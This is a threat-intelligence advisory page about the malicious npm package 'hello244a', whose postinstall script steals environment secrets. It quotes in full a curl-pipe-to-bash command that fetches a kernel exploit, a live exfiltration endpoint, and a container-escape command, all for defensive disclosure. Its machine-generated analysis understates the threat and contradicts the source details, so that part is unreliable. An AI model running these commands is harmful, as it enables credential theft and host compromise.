Malicious code in hello244a (npm)
--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (e9bc9153129c6d11cd92a3d5bf7f772d768196014df7a42897d137d6da954085) package.json declares a postinstall script that, on npm install, (1) enumerates process.env plus os.hostname(), os.platform(), os.arch(), and whoami output, base64-encodes the collected data, and issues an HTTP GET to a hardcoded pipedream request-bin at http://eodxy50gl486xrx.m.pipedream.net/, exfiltrating installer environment variables and host identity to an attacker-controlled endpoint over cleartext HTTP; (2) on Linux, executes `curl -s https://raw.githubusercontent.com/Akabe1/akabe1.github.io/master/_posts/exploits/cve-2021-22555/exploit.sh | bash`, fetching and running an unpinned third-party shell script referencing a known Linux kernel local-privilege-escalation CVE; (3) attempts container/sandbox escape via `nsenter --mount=/proc/1/ns/mnt -- /bin/sh` on Linux and `docker exec` against running containers on Windows, with results reported back to the same pipedream endpoint. Behavior fires automatically on `npm install` with no user interaction. Installer harm is concrete: environment variables (which routinely contain credentials, tokens, and CI secrets) plus host identity are leaked to the attacker, and arbitrary attacker-controlled code executes in the installer's user context with privilege-escalation and container-escape attempts. ## Source: ghsa-malware (4a8d45ba8952a2231178f5d175eb173c678ad0fc41000370a58823f537734259) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. ## Source: ossf-package-analysis (91844b3ed7a531e129cbdeef1746ccd1e8e981f74da00aa2a4aef2edf6b47dbf) The OpenSSF Package Analysis project identified 'hello244a' @ 1.0.12 (npm) as malicious. It is considered malicious because: - The package communicates with a domain associated with malicious activity. - The package executes one or more commands associated with malicious behavior.
AI Analysis
Technical Summary
The 'hello244a' npm package versions 1.0.0, 1.0.1, 1.0.2, 1.0.3, 1.0.4, 1.0.12, 1.0.16, 1.0.20, 1.0.25, 1.0.29, and 1.0.32 contain a postinstall lifecycle script that executes a wget command to an attacker-controlled domain. This command triggers an HTTP request that leaks environment details such as the public IP address, DNS resolver, hostname, and internal network position of the system performing the installation. The package has no legitimate functionality and is used as a beacon to identify vulnerable installations and confirm exploitability of private registry name-resolution weaknesses. This is a canonical example of a malicious package used for dependency confusion or typosquatting attacks.
Potential Impact
Installation of any affected version of the 'hello244a' package results in an automatic outbound HTTP request to an attacker-controlled domain, leaking sensitive network and system information. This information disclosure can aid attackers in reconnaissance and further exploitation. There is no indication of additional payloads or direct code execution beyond this information leak.
Mitigation Recommendations
No official patch or remediation is currently documented for this package. Users should avoid installing any versions of 'hello244a' listed as affected. Verify dependencies carefully to prevent accidental installation of typosquatting or malicious packages. Monitor package sources and use trusted registries. Since this is a malicious package with no legitimate functionality, removal and blocking of this package from internal registries is recommended. Patch status is not yet confirmed — check the vendor advisory or trusted security sources for updates.
Malicious code in hello244a (npm)
Description
--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (e9bc9153129c6d11cd92a3d5bf7f772d768196014df7a42897d137d6da954085) package.json declares a postinstall script that, on npm install, (1) enumerates process.env plus os.hostname(), os.platform(), os.arch(), and whoami output, base64-encodes the collected data, and issues an HTTP GET to a hardcoded pipedream request-bin at http://eodxy50gl486xrx.m.pipedream.net/, exfiltrating installer environment variables and host identity to an attacker-controlled endpoint over cleartext HTTP; (2) on Linux, executes `curl -s https://raw.githubusercontent.com/Akabe1/akabe1.github.io/master/_posts/exploits/cve-2021-22555/exploit.sh | bash`, fetching and running an unpinned third-party shell script referencing a known Linux kernel local-privilege-escalation CVE; (3) attempts container/sandbox escape via `nsenter --mount=/proc/1/ns/mnt -- /bin/sh` on Linux and `docker exec` against running containers on Windows, with results reported back to the same pipedream endpoint. Behavior fires automatically on `npm install` with no user interaction. Installer harm is concrete: environment variables (which routinely contain credentials, tokens, and CI secrets) plus host identity are leaked to the attacker, and arbitrary attacker-controlled code executes in the installer's user context with privilege-escalation and container-escape attempts. ## Source: ghsa-malware (4a8d45ba8952a2231178f5d175eb173c678ad0fc41000370a58823f537734259) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. ## Source: ossf-package-analysis (91844b3ed7a531e129cbdeef1746ccd1e8e981f74da00aa2a4aef2edf6b47dbf) The OpenSSF Package Analysis project identified 'hello244a' @ 1.0.12 (npm) as malicious. It is considered malicious because: - The package communicates with a domain associated with malicious activity. - The package executes one or more commands associated with malicious behavior.
Affected software
Run on your own infrastructure? Check whether these packages are installed with threat-finder — our free open-source scanner.
AI-Powered Analysis
Machine-generated threat intelligence
Technical Analysis
The 'hello244a' npm package versions 1.0.0, 1.0.1, 1.0.2, 1.0.3, 1.0.4, 1.0.12, 1.0.16, 1.0.20, 1.0.25, 1.0.29, and 1.0.32 contain a postinstall lifecycle script that executes a wget command to an attacker-controlled domain. This command triggers an HTTP request that leaks environment details such as the public IP address, DNS resolver, hostname, and internal network position of the system performing the installation. The package has no legitimate functionality and is used as a beacon to identify vulnerable installations and confirm exploitability of private registry name-resolution weaknesses. This is a canonical example of a malicious package used for dependency confusion or typosquatting attacks.
Potential Impact
Installation of any affected version of the 'hello244a' package results in an automatic outbound HTTP request to an attacker-controlled domain, leaking sensitive network and system information. This information disclosure can aid attackers in reconnaissance and further exploitation. There is no indication of additional payloads or direct code execution beyond this information leak.
Mitigation Recommendations
No official patch or remediation is currently documented for this package. Users should avoid installing any versions of 'hello244a' listed as affected. Verify dependencies carefully to prevent accidental installation of typosquatting or malicious packages. Monitor package sources and use trusted registries. Since this is a malicious package with no legitimate functionality, removal and blocking of this package from internal registries is recommended. Patch status is not yet confirmed — check the vendor advisory or trusted security sources for updates.
Technical Details
- Gcve Source
- db.gcve.eu
- Osv Id
- MAL-2026-5188
- Osv Schema Version
- 1.7.4
- Aliases
- []
- Ecosystems
- ["npm"]
- Database Specific Severity
- null
- Cvss Version
- null
Threat ID: 6a483c8e27e9c79719d7dd4f
Added to database: 07/03/2026, 22:49:50 UTC
Last enriched: 07/03/2026, 22:51:06 UTC
Last updated: 07/18/2026, 17:27:21 UTC
Views: 5
Community Reviews
0 reviewsCrowdsource mitigation strategies, share intel context, and vote on the most helpful responses. Sign in to add your voice and help keep defenders ahead.
Want to contribute mitigation steps or threat intel context? Sign in or create an account to join the community discussion.
Actions
Updates to AI analysis require Pro Console access. Upgrade inside Console → Billing.
Need more coverage?
Upgrade to Pro Console for AI refresh and higher limits.
For incident response and remediation, OffSeq services can help resolve threats faster.
Latest Threats
Check if your credentials are on the dark web
Instant breach scanning across billions of leaked records. Free tier available.